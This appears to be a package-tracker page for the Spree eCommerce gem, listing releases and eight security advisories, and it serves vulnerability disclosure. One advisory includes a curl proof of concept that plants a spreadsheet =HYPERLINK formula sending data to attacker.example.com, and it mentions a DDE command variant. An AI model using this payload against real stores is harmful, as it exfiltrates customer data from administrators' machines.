spree

Open Source eCommerce Platform for B2B, Marketplace, and Enterprise. REST API, TypeScript SDK, and production-ready Next.js storefront. Self-host it. Own your stack. No vendor lock-in. Zero platform fees.

View on Rubygems

View on Github

Activity

Latest release: 1mo ago
Total releases: 442
Cadence: ~2 days
Last 12 months: 68

Reach

Stars: 15.7k

Details

License: BSD-3-Clause
First release: Feb 26, 2008

Releases

Version	Released
`5.6.1` patch	Jul 28, 2026
`5.6.0` minor	Jul 23, 2026
`5.6.0.rc6` pre	Jul 23, 2026
`5.6.0.rc5` pre	Jul 22, 2026
`5.5.4` patch	Jul 20, 2026
`5.6.0.rc4` pre	Jul 20, 2026
`5.4.4` patch	Jul 20, 2026
`5.6.0.rc3` pre	Jul 19, 2026
`5.6.0.rc2` pre	Jul 17, 2026
`5.6.0.rc1` pre	Jul 15, 2026
`5.5.3` patch	Jul 10, 2026
`5.5.2` patch	Jul 06, 2026
`5.5.1` patch	Jun 29, 2026
`5.5.0.rc3` pre	Jun 18, 2026
`5.5.0` minor	Jun 18, 2026
`5.5.0.rc2` pre	Jun 15, 2026
`5.5.0.rc1` pre	Jun 10, 2026
`5.3.6` patch	May 19, 2026
`5.2.8` patch	May 19, 2026
`5.4.3` patch	May 19, 2026
`5.4.2` patch 1 CVE	Apr 27, 2026
`5.4.1` patch 1 CVE	Apr 14, 2026
`5.4.0` minor 1 CVE	Apr 08, 2026
`5.4.0.rc8` pre	Apr 08, 2026
`5.4.0.rc7` pre	Apr 08, 2026
`5.4.0.rc6` pre	Apr 04, 2026
`5.4.0.rc5` pre	Mar 30, 2026
`5.4.0.rc4.1` pre	Mar 30, 2026
`5.4.0.rc4` pre	Mar 26, 2026
`5.4.0.rc3` pre	Mar 25, 2026
`5.4.0.rc2` pre	Mar 23, 2026
`5.4.0.rc1` pre	Mar 20, 2026
`5.4.0.beta10` pre	Mar 19, 2026
`5.4.0.beta9` pre	Mar 17, 2026
`5.4.0.beta8` pre	Mar 16, 2026
`5.4.0.beta7` pre	Mar 15, 2026
`5.3.5` patch 1 CVE	Mar 12, 2026
`5.4.0.beta6` pre	Mar 11, 2026
`5.4.0.beta5` pre	Mar 10, 2026
`5.4.0.beta4` pre	Mar 04, 2026
`5.4.0.beta3` pre	Mar 02, 2026
`5.4.0.beta2` pre	Feb 28, 2026
`5.4.0.beta` pre	Feb 25, 2026
`5.3.4` patch 1 CVE	Feb 23, 2026
`5.3.3` patch 1 CVE	Feb 16, 2026
`5.2.7` patch 1 CVE	Feb 05, 2026
`5.3.2` patch 1 CVE	Feb 05, 2026
`5.1.10` patch	Feb 05, 2026
`4.10.3` patch	Feb 05, 2026
`5.0.8` patch	Feb 05, 2026

1–50 of 442

Repository

spree/spree

Forks: 5.3k
Open issues: 85
Language: Ruby
: 5.7/ 10

ecommerce
e-commerce
ecommerce-platform
spree-commerce
marketplace
multi-tenant

Dependencies (2)

Depends on

5.6.1

Used by

Supply-chain exposure

92 tracked projects depend on this, <1% of every package we track.

A known CVE here directly exposes every one of them.

Known CVEs (8)

GHSA-xf4v-w5x5-pv79 Jun 04, 2026

Spree: CSV Formula Injection in Customer Export

Medium
Network Low Low

Summary

CSV formula injection (also known as formula injection or CSV injection) affects customer export. User-controlled values customer names, email addresses, and shipping addresses. When an administrator opens a crafted Export in Microsoft Excel or LibreOffice Calc, formulas embedded in user data execute in the context of the administrator's desktop, potentially exfiltrating data or executing OS commands via DDE (Dynamic Data Exchange).

Details

Affected presenters and fields

| Presenter | Path | User-controlled fields | |---|---|---| | CustomerPresenter | spree/core/app/presenters/spree/csv/customer_presenter.rb:36 | first_name, last_name, address1, address2, city, phone |

Vulnerable code — customer_presenter.rb (representative example)

# spree/core/app/presenters/spree/csv/customer_presenter.rb:36–53 def call csv = [ customer.first_name, # ← written verbatim; may contain =HYPERLINK(...) customer.last_name, # ← user-controlled customer.email, customer.accepts_email_marketing ? Spree.t(:say_yes) : Spree.t(:say_no), customer.address&.company, # ← user-controlled customer.address&.address1, # ← user-controlled customer.address&.address2, # ← user-controlled customer.address&.city, # ← user-controlled customer.address&.state_text, customer.address&.state_abbr, customer.address&.country&.name, customer.address&.country&.iso, customer.address&.zipcode, customer.phone, # ← user-controlled customer.amount_spent_in(Spree::Store.current.default_currency), customer.completed_orders.count, ] csv += metafields_for_csv(customer) csv end

PoC

Precondition: A Spree store with public customer registration enabled (default configuration). No special permissions required for the attacker.

Step 1 — Register as a customer with an injected first name

curl -X POST https://store.example.com/api/v3/store/customers \ -H "Content-Type: application/json" \ -H "X-Spree-Api-Key: pk_<publishable_api_key>" \ -d '{ "email": "attacker@evil.com", "password": "password123", "password_confirmation": "password123", "first_name": "=HYPERLINK(\"http://attacker.example.com/exfil?d=\"&B1,\"Click\")", "last_name": "Smith" }'

Step 2 — Admin triggers a customer export

curl -X POST https://store.example.com/api/v3/admin/exports \ -H "Authorization: Bearer <admin_jwt>" \ -H "Content-Type: application/json" \ -d '{"type": "Spree::Exports::Customers", "record_selection": "all"}'

Step 3 — Admin polls until ready, then downloads

# Poll for completion curl https://store.example.com/api/v3/admin/exports/<export_id> \ -H "Authorization: Bearer <admin_jwt>" # Download curl https://store.example.com/api/v3/admin/exports/<export_id>/download \ -H "Authorization: Bearer <admin_jwt>" \ -o customers.csv

Step 4 — Verify injection in the raw CSV (without opening in Excel)

Open customers.csv in a text editor. The first data row will contain:

"=HYPERLINK(""http://attacker.example.com/exfil?d=""&B1,""Click"")","Smith","attacker@evil.com",...

Step 5 — Admin opens customers.csv in Microsoft Excel (Windows)

Excel warns about external data connections; if the administrator clicks Enable, the HYPERLINK formula fires and sends a GET request to http://attacker.example.com/exfil?d=<B1_value>.

Cell B1 in the customers export is the Last Name column. Adjacent columns contain email, address, and order total data for all exported customers.

With the DDE variant (=CMD|...) on older or unpatched Excel versions, a subprocess is launched on the administrator's machine.

Impact

Vulnerability class: CSV / Formula Injection (CWE-1236)

Who is impacted

Administrators who download and open export files in spreadsheet software are the direct victims. Administrative accounts have access to all store data, payment method configurations, customer PII, and full order history.

Realistic attack chain

| Step | Actor | Action | Privilege required | |---|---|---|---| | 1 | Attacker | Registers as customer | Public registration | | 2 | Attacker | Sets first_name to formula payload | None beyond registration | | 3 | Admin | Runs a routine weekly/monthly export | Normal operational task | | 4 | Admin | Opens CSV in Excel | None | | 5 | Attacker | Receives exfiltrated spreadsheet data | Passive |

Data at risk

All data visible to the administrator in the spreadsheet at the time of opening, including:

All exported customer emails, names, addresses, phone numbers

Order totals and purchase history

Any other columns in the same export file

Affected versions

5.2.05.2.15.2.25.2.35.2.45.2.55.2.65.2.75.3.05.3.15.3.25.3.3

+ 5 more Show less

5.3.45.3.55.4.05.4.15.4.2

Fixed in

5.2.85.3.65.4.3

References

https://github.com/spree/spree/security/advisories/GHSA-xf4v-w5x5-pv79
https://github.com/spree/spree
https://github.com/spree/spree/releases/tag/v5.2.8
https://github.com/spree/spree/releases/tag/v5.3.6
https://github.com/spree/spree/releases/tag/v5.4.3

Updated Jun 04, 2026 · Source: OSV.dev
CVE-2011-10026 GHSA-x485-rhg3-cqr4 Aug 20, 2025

Spree Commerce is vulnerable to RCE through Search API

Critical
Network Low None None

Spreecommerce versions prior to 0.50.x contain a remote command execution vulnerability in the API's search functionality. Improper input sanitation allows attackers to inject arbitrary shell commands via the search[instance_eval] parameter, which is dynamically invoked using Ruby’s send method. This flaw enables unauthenticated attackers to execute commands on the server.

Affected versions

0.30.00.30.0.beta10.30.10.30.20.40.00.40.10.40.20.40.30.40.4

Fixed in

0.50.0

References

https://nvd.nist.gov/vuln/detail/CVE-2011-10026
https://github.com/spree/spree/commit/0a9a360c590829d8a377ceae0cf997bbbbcc2df4
https://github.com/spree/spree/commit/3b559e7219f3681184be409ad00cd34a34a37978
https://github.com/rubysec/ruby-advisory-db/blob/master/gems/rd_searchlogic/CVE-2011-10026.yml
https://github.com/rubysec/ruby-advisory-db/blob/master/gems/spree/CVE-2011-10026.yml
https://github.com/spree

Updated Dec 01, 2025 · Source: OSV.dev
CVE-2011-10019 GHSA-97vm-c39p-jr86 Aug 13, 2025

Spree has Remote Command Execution vulnerability in search functionality

Critical
Network Low None None

Spreecommerce versions prior to 0.60.2 contains a remote command execution vulnerability in its search functionality. The application fails to properly sanitize input passed via the search[send][] parameter, which is dynamically invoked using Ruby’s send method. This allows attackers to execute arbitrary shell commands on the server without authentication.

Affected versions

0.0.50.0.60.0.70.0.80.0.90.10.00.10.0.beta0.10.10.10.20.11.00.11.10.11.2

+ 38 more Show less

0.11.30.11.40.2.00.30.00.30.0.beta10.30.10.30.20.4.00.4.10.40.00.40.10.40.20.40.30.40.40.5.00.5.10.50.00.50.10.50.20.50.30.50.40.6.00.60.00.60.0.RC10.60.10.7.00.7.10.8.00.8.10.8.20.8.30.8.40.8.50.9.00.9.10.9.20.9.30.9.4

Fixed in

0.60.2

References

https://nvd.nist.gov/vuln/detail/CVE-2011-10019
https://github.com/orgs/spree
https://github.com/rubysec/ruby-advisory-db/blob/master/gems/spree/CVE-2011-10019.yml
https://github.com/spree/spree
https://raw.githubusercontent.com/rapid7/metasploit-framework/master/modules/exploits/multi/http/spree_search_exec.rb
https://web.archive.org/web/20111009192436/http://spreecommerce.com/blog/2011/10/05/remote-command-product-group

Updated Jun 09, 2026 · Source: OSV.dev
CVE-2008-7310 GHSA-7h48-m3rw-vr27 May 17, 2022

Spree does not properly restrict the use of a hash to provide values for a model's attributes

Medium

Spree 0.2.0 does not properly restrict the use of a hash to provide values for a model's attributes, which allows remote attackers to set the Order state value and bypass the intended payment step via a modified URL, related to a "mass assignment" vulnerability.

Affected versions

0.0.50.0.60.0.70.0.80.0.90.2.0

Fixed in

0.4.0

References

https://nvd.nist.gov/vuln/detail/CVE-2008-7310
https://github.com/rubysec/ruby-advisory-db/blob/master/gems/spree/CVE-2008-7310.yml
https://github.com/spree/spree
https://spreecommerce.com/blog/security-vulnerability-mass-assignment
https://web.archive.org/web/20080925003904/http://railspikes.com/2008/9/22/is-your-rails-application-safe-from-mass-assignment
https://web.archive.org/web/20101128024717/http://spreecommerce.com/blog/2008/09/16/security-vulnerability-mass-assignment-of-order-params

Updated Dec 07, 2024 · Source: OSV.dev
CVE-2008-7311 GHSA-g466-57gh-cqfw May 17, 2022

Spree uses a hardcoded hash value

Medium

The session cookie store implementation in Spree 0.2.0 uses a hardcoded config.action_controller_session hash value (aka secret key), which makes it easier for remote attackers to bypass cryptographic protection mechanisms by leveraging an application that contains this value within the config/environment.rb file.

Affected versions

0.0.50.0.60.0.70.0.80.0.90.2.0

Fixed in

0.4.0

References

https://nvd.nist.gov/vuln/detail/CVE-2008-7311
https://github.com/rubysec/ruby-advisory-db/blob/master/gems/spree/CVE-2008-7311.yml
https://github.com/spree/spree
https://spreecommerce.com/blog/security-vulernability-session-cookie-store
https://web.archive.org/web/20090306033106/http://support.spreehq.org/issues/show/63
https://web.archive.org/web/20100309050152/http://rubygems.org/gems/spree/versions

Updated Dec 07, 2024 · Source: OSV.dev
CVE-2010-3978 GHSA-hwrx-wc75-mgh7 May 14, 2022

Spree allows remote attackers to obtain sensitive information

Medium

Spree 0.11.x before 0.11.2 and 0.30.x before 0.30.0 exchanges data using JavaScript Object Notation (JSON) without a mechanism for validating requests, which allows remote attackers to obtain sensitive information via vectors involving (1) admin/products.json, (2) admin/users.json, or (3) admin/overview/get_report_data, related to a "JSON hijacking" issue.

Affected versions

0.11.00.11.10.30.0.beta1

Fixed in

0.11.20.30.0

References

https://nvd.nist.gov/vuln/detail/CVE-2010-3978
https://github.com/railsdog/spree/commit/19944bd999c310d9b10d16a41f48ebac97dc4fac
https://github.com/railsdog/spree/commit/d881b2bb610ea33e2364ff16feb8e702dfeda135
https://github.com/rubysec/ruby-advisory-db/blob/master/gems/spree/CVE-2010-3978.yml
https://github.com/spree/spree
https://spreecommerce.com/blog/json-hijacking-vulnerability

Updated Dec 05, 2024 · Source: OSV.dev
CVE-2020-15269 GHSA-f8cm-364f-q9qh Oct 20, 2020

Ensure that doorkeeper_token is valid when authenticating requests in API v2 calls

7.4 / 10
High
Network High None None Unchanged High High None

Impact

The perpetrator who previously obtained an old expired user token could use it to access Storefront API v2 endpoints.

Patches

Please upgrade to 3.7.11, 4.0.4, or 4.1.11 depending on your used Spree version.

Workarounds

In your project directory create a decorator file app/controllers/spree/api/v2/base_controller_decotatror.rb with contents:

module Spree module Api module V2 module BaseControllerDecorator private def spree_current_user return nil unless doorkeeper_token return @spree_current_user if @spree_current_user doorkeeper_authorize! @spree_current_user ||= ::Spree.user_class.find_by(id: doorkeeper_token.resource_owner_id) end end end end Spree::Api::V2::BaseController.prepend(Spree::Api::V2::BaseControllerDecorator)

For more information

If you have any questions or comments about this advisory:

Email us at security@spreecommerce.org

Affected versions

0.0.50.0.60.0.70.0.80.0.90.10.00.10.0.beta0.10.10.10.20.11.00.11.10.11.2

+ 266 more Show less

0.11.30.11.40.2.00.30.00.30.0.beta10.30.10.30.20.4.00.4.10.40.00.40.10.40.20.40.30.40.40.5.00.5.10.50.00.50.10.50.20.50.30.50.40.6.00.60.00.60.0.RC10.60.10.60.20.60.30.60.40.60.50.60.60.7.00.7.10.70.00.70.0.rc20.70.10.70.20.70.30.70.40.70.50.70.60.70.70.8.00.8.10.8.20.8.30.8.40.8.50.9.00.9.10.9.20.9.30.9.41.0.01.0.0.rc11.0.0.rc21.0.0.rc31.0.0.rc41.0.11.0.21.0.31.0.41.0.61.0.71.1.01.1.0.rc11.1.0.rc21.1.11.1.21.1.2.rc11.1.31.1.41.1.51.1.61.2.01.2.0.rc11.2.0.rc21.2.21.2.31.2.41.2.51.3.01.3.0.rc11.3.0.rc21.3.11.3.21.3.31.3.41.3.52.0.02.0.0.rc12.0.12.0.102.0.112.0.122.0.132.0.22.0.32.0.42.0.52.0.62.0.72.0.82.0.92.1.02.1.12.1.102.1.112.1.122.1.22.1.32.1.42.1.52.1.62.1.72.1.82.1.92.2.02.2.12.2.102.2.112.2.122.2.132.2.142.2.22.2.32.2.42.2.52.2.62.2.72.2.82.2.92.3.02.3.12.3.102.3.112.3.122.3.132.3.22.3.32.3.42.3.52.3.62.3.72.3.82.3.92.4.02.4.0.rc12.4.0.rc22.4.0.rc32.4.12.4.102.4.22.4.32.4.42.4.52.4.62.4.72.4.82.4.93.0.03.0.0.rc13.0.0.rc33.0.0.rc43.0.13.0.103.0.23.0.33.0.43.0.53.0.63.0.6.13.0.73.0.83.0.93.1.03.1.0.rc13.1.0.rc23.1.0.rc33.1.0.rc43.1.13.1.103.1.113.1.123.1.133.1.143.1.23.1.33.1.43.1.53.1.63.1.73.1.83.1.93.2.03.2.0.rc13.2.0.rc23.2.0.rc33.2.13.2.23.2.33.2.43.2.53.2.63.2.73.2.83.2.93.3.03.3.0.rc13.3.0.rc23.3.0.rc33.3.0.rc43.3.13.3.23.3.33.3.43.3.53.3.63.4.03.4.0.rc13.4.0.rc23.4.13.4.23.4.33.4.43.4.53.4.63.5.03.5.0.rc13.5.0.rc23.6.03.6.0.rc13.6.13.6.23.6.33.6.43.6.53.6.63.7.03.7.0.rc13.7.0.rc23.7.0.rc33.7.13.7.103.7.23.7.33.7.43.7.53.7.63.7.73.7.83.7.94.0.04.0.14.0.24.0.34.1.04.1.14.1.104.1.24.1.34.1.44.1.54.1.64.1.74.1.84.1.9

Fixed in

3.7.114.0.44.1.11

References

https://github.com/spree/spree/security/advisories/GHSA-f8cm-364f-q9qh
https://nvd.nist.gov/vuln/detail/CVE-2020-15269
https://github.com/spree/spree/commit/e43643abfe51f54bd9208dd02298b366e9b9a847
https://github.com/rubysec/ruby-advisory-db/blob/master/gems/spree/CVE-2020-15269.yml
https://github.com/spree/spree

Updated Jul 08, 2026 · Source: OSV.dev
CVE-2013-1656 GHSA-jxx8-v83v-rhw3 Oct 24, 2017

Spree Improper Input Validation vulnerability

Medium

Spree Commerce 1.0.x before 2.0.0.rc1 allows remote authenticated administrators to instantiate arbitrary Ruby objects and execute arbitrary commands via the (1) payment_method parameter to core/app/controllers/spree/admin/payment_methods_controller.rb; and the (2) promotion_action parameter to promotion_actions_controller.rb, (3) promotion_rule parameter to promotion_rules_controller.rb, and (4) calculator_type parameter to promotions_controller.rb in promo/app/controllers/spree/admin/, related to unsafe use of the constantize function.

Affected versions

1.0.01.0.11.0.21.0.31.0.41.0.61.0.71.1.01.1.0.rc11.1.0.rc21.1.11.1.2

+ 20 more Show less

1.1.2.rc11.1.31.1.41.1.51.1.61.2.01.2.0.rc11.2.0.rc21.2.21.2.31.2.41.2.51.3.01.3.0.rc11.3.0.rc21.3.11.3.21.3.31.3.41.3.5

Fixed in

2.0.0.rc1

References

https://nvd.nist.gov/vuln/detail/CVE-2013-1656
https://github.com/spree/spree/commit/70092eb55b8be8fe5d21a7658b62da658612fba7
https://blog.convisoappsec.com/en/spree-commerce-multiple-unsafe-reflection-vulnerabilities-cve-2013-1656
https://github.com/rubysec/ruby-advisory-db/blob/master/gems/spree/CVE-2013-1656.yml
https://github.com/spree/spree
https://web.archive.org/web/20130907044454/https://www.conviso.com.br/advisories/CVE-2013-1656.txt

Updated Dec 05, 2024 · Source: OSV.dev

Insights

Releases per month

last 12 months

Release mix

major 5
minor 44
patch 294
pre 98

442 releases

Dependencies over time

per release

Minimum runtime

over time

Release calendar

2026

Jan

Feb

Mar

Apr

May

Jun

Jul

Aug

Sep

Oct

Nov

Dec

Less More